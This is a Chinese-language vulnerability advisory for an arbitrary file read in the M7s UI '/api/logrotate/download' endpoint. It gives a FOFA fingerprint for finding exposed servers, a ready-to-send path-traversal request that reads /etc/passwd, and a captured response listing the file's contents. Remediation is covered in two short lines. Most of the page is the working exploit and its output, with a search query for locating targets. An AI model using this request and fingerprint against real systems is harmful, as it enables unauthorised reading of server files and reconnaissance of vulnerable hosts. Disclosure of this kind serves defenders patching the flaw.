

M7s UI logrotatedownload 任意文件读取漏洞

M7s UI logrotatedownload 处存在任意文件读取漏洞

影响版本

M7s UI

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA: body="static/js/chunk-libs.9540f991.js"

POC/EXP:

```
GET /api/logrotate/download?file=../../../../../../../../../../../../etc/passwd
HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (windows NT 10.0; win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br, zstd
Connection: keep-alive
```

发送请求

强制 HTTPS

历史

爆破示例

Request

数据包扫描

美化

热加载

构造请求

1

GET /api/logrotate/download?file=../../../../../../../../../../../../etc/passwd

2

Host:

3

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0

4

Accept: application/json, text/plain, */*

5

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

6

Accept-Encoding: gzip, deflate, br, zstd

7

Connection: keep-alive

Responses

1753bytes / 45ms

美化

编码

1

HTTP/1.1 200 OK

2

Content-Disposition: attachment; filename=../../../../../../../../../../../../etc/passwd

3

Date: Wed, 02 Apr 2025 06:40:59 GMT

4

Content-Type: text/plain; charset=utf-8

5

Content-Length: 1753

6

7

root:x:0:0:root:/root:/bin/bash

8

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

9

bin:x:2:2:bin:/bin:/usr/sbin/nologin

10

sys:x:3:3:sys:/dev:/usr/sbin/nologin

11

sync:x:4:65534:sync:/bin:/bin/sync

12

games:x:5:60:games:/usr/games:/usr/sbin/nologin

13

man:x:6:12:man:/var/cache/man:/usr/sbin/nologin

14

lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin

15

mail:x:8:8:mail:/var/mail:/usr/sbin/nologin

16

news:x:9:9:news:/var/spool/news:/usr/sbin/nologin

17

uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin

18

proxy:x:13:13:proxy:/bin:/usr/sbin/nologin

19

www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

20

backup:x:34:34:backup:/var/backups:/usr/sbin/nologin

21

list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin

22

irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin

23

gnats:x:41:41:Gnats Bug-Reporting System (admin)/var/lib/

24

nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

25

systemd-timesync:x:100:102:systemd Time Synchronization,,/

26

systemd-network:x:101:103:systemd Network Management,,:/

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本